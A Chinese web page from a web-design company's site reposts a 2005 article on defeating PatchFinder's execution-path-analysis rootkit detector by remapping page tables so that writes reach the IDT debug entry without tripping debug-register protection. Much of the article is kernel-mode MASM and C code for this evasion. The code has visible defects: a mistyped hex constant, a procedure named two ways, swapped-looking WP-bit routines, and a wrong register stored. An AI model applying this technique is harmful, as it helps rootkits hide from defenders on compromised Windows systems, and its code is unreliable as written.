北京:网站制作 网站建设 网站设计 CAD制图 效果图制作 建筑漫游 机械制图
最佳方案:CAD制图-3D效果图-3D动画制作-建筑漫游和机械效果图
24小时咨询热线:13366838023
首  页 新闻动态 域名注册 虚拟主机 主机托管 专线接入 图形图象艺术设计 CAD机械图制作 3D效果图制作
  建筑漫游 网页制作教程 程序编程教程 网站推广教程 多媒体制作 操作系统教程 图形图象处理教程 平面设计教程 网络安全教程
技术文章
网站的Google排名内部优化攻…
Auto CAD中为三维图形添加尺…
网站制作:如何确定网站栏目…
CSS文件应该保持整洁和统一
符合web标准的网页中调用Fla…
微软就发布了IE8的第二个Bet…
08年全球游戏软件销量同比增…
虚拟建筑场景漫游技术及其应…
三成鲜花通过QQ、网站在线卖…
假冒网站成本只需百元
美家庭学校封杀10大网站排名…
数字光魔地产动画 互动建筑漫…
如何打造实用网站?
客户案例
arca laska服装品牌
北京莱比特环保科技有限公司…
渲淇犬舍
网站建设:绿色健峰
网站制作:天津信汇制药股份有…
网站建设:北京凯伦葡萄酒有限…
网站制作:泰赫雅特汽车销售服…
网站制作:北京顺新联华商贸公…
网站制作:3818库画廊
北京天成鑫缘家政服务中心
美术家协会国际双年展
加拿大瑞潮商业顾问有限公司…
北京新二灯霓虹灯饰有限公司…
  更多>>  


绕过Windows Rootkit检测系统

来源:  

[介绍]
PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。附录1和2可以让你了解它是如何工作的。这篇文章将提供一种绕开EPA的方法。

[方法]

EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,而由DR1寄存器保护中断处理程序。(注1:)
但是,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将0x8003F408转换为物理地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。

[源代码]

这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找到。

;---定义IDTR结构-------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
;-----------------------

ByepassIDTProtection PROC

LOCAL dbgHandler:DWORD

LOCAL myIDT:DIDTR

LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD

LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD

LOCAL diffoffset:DWORD

pushad

;分配一个页大小的内存(从非分页池中分配)
invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h
mov varbase,eax

cli ;记得恢复

invoke DisablePageProtection ;对XP,Regmon使用的一个很老的技巧

sidt myIDT
mov eax,myIDT.ibase
add eax,08h
mov idtbase,eax ;idtbase = IDT的基地址 + 8字节

and eax,0FFC00000h ;获取IDT地址的目录索引
shr eax,22
shl eax,2 ;乘与4

mov ebx,0C0300000h ;0C0300000 = 页目录
add ebx,eax ;ebx = [页目录 + 目录索引*4]
mov idtPDEaddr,ebx

mov eax,[ebx]
mov idtPDE,eax ;eax = IDT地址的页目录入口(PDE)

mov eax,idtbase
and eax,oFFFh ;获取IDT地址的低12位 = 页内偏移 mov idtbaseoff,eax

mov eax,idtbase
shr eax,12 ;获取IDT地址的高12位
shl eax,2 ;乘与4

mov ebx,0C0000000h ;进程页表映射在0xC0000000开始的4MB空间中
add ebx,eax
mov idtPTEaddr,eax ;IDT地址的PTE的地址

mov eax,[ebx]
mov idtPTE,eax ;取该地址的PTE

mov eax,varbase

and eax,0FFC00000h ;获取varbase的页目录索引
shr eax,22
shl eax,2

mov ebx,0C0300000h
add ebx,eax
mov varPDEaddr,ebx

mov eax,[ebx]
mov varPDE,eax

mov eax,varbase
and eax,0FFFh
mov varbaseoff,eax

mov eax,varbase
shr eax,12
shl eax,2

mov ebx,0C0000000h
add ebx,eax
mov varPTEaddr,ebx

mov eax,[ebx]
mov varPTE,eax

mov eax,varPDEaddr ;修改PDE为和IDT0x01的一样
mov ebx,idtPDE
mov [eax],ebx

mov eax,varPTEaddr ;修改PTE为和IDT0x01的一样
mov ebx,idtPTE
mov [eax],ebx

mov ebx,idtbaseoff ;修正页内偏移
mov eax,varbaseoff
sub ebx,eax

;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器

mov eax,varbase
mov dword ptr [eax+ebx],0DEADBEEFh

mov eax,varPDEaddr ;恢复原来的值
mov ebx,varPDE
mov [eax],ebx

mov eax,varPTEaddr ;恢复原来的值
mov ebx,varPTE
mov [eax],ebx

invoke EnablePageProtection ;恢复CR0寄存器的WP标志

sti

popad
ret

BypassIDTProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
EnablePageProtection PROC

push eax
mov eax,CR0
and eax,0FFFEFFFFh
mov CR0,eax
pop eax
ret

EnablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DisablePageProtection PROC

push eax
mov eax,CR0
or eax,NOT 0FFFEFFFFh
mov CR0,eax
pop eax
ret

DisablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

[Rootkit的未来]

很不幸,这种方法使EPA变得没用。如果微软不改变它的安全结构,没有一种办法能在未来阻止rookits。未来的rootkit会在分页机制上大有作为,这种有无限种可能性。一旦进入Ring 0,那么永远在Ring 0。

[参考]

[1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高级Rootkit检测技术)
[2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2
[3] IA32 Intel Architeture Softwares Developers Manual, vol 1-3

注1:

这个图无法画出,就是画出了读者也不一定能看得明白(因为画的实在太简单了-_-)。我在这里补充一下用调试寄存器保护地址的原理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后通过DR7寄存器的相关位并检查DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码:

#define DB_PROT_EXEC 0
#define DB_PROT_WRITE 1
#define DB_PROT_RW 3

#define DB_DR0 0
#define DB_DR1 1
#define DB_DR2 2
#define DB_DR3 3

#define DB_LEN_1B 0
#define DB_LEN_2B 1
#define DB_LEN_4B 3

int dbProtect (int reg, int addr, int len, int protection) {
unsigned int dr7mask;

switch (reg) {
case 0:
__asm {
mov eax, addr;
mov DR0, eax;
}
break;
case 1:
__asm {
mov eax, addr;
mov DR1, eax;
}
break;
case 2:
__asm {
mov eax, addr;
mov DR2, eax;
}
break;
case 3:
__asm {
mov eax, addr;
mov DR3, eax;
}
break;
}

dr7mask = 0x2<<(reg*2);
dr7mask |= (( (len<<2) + protection) << (16+(4*reg)));
__asm {
mov eax, DR7;
or eax, dr7mask;
mov DR7, eax;
}

return 1;
}

int dbSetGeneralProtection () {

__asm {
mov eax, DR7;
or eax, 0x1000;
mov DR7, eax;
}

return 1;
}

然后在中断处理程序中还要加入下面几句代码:
mov eax, DR6;
test ax, 0x100f; // BD |B3|B2|B1|B0
.
.
mov eax, DR6; // 检查DR6的BS(单步)位
test ah, 0x40;

最后决定对3个地址进行不同程度的保护:
dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW);

对DR6和DR7相关位的作用不太熟悉的可以去查Intel的手册15.2节<Debug Registers>。


后级:

如果你对分页机制不太熟悉的话,可以参考我朋友JIURL的4篇很详细地介绍分页机制的文章:《JIURL玩玩Win2k内存篇 分页机制(1-4)》,网址http://jiurl.yeah.net;或者WebCrazy的《小议分页机制》,网址http://webcrazy.yeah.net

水平有限,欢迎大家指出错漏之处。QQ:27324838 Email:kinvis@hotmail.com 

2005-1-30 14:47:31

【关闭窗口】
友情链接: 格鲁吉亚旅游与投资
Copyright © 2001-2020 Beijing Aodu Haixun Tchnology Inc.All rights reserved. 版权所有:海讯资源
电  话:010-88409500 13366838023 网站制作专线:010-15210224336(微信同号)
传  真: 电子邮件:haixunceo@126.com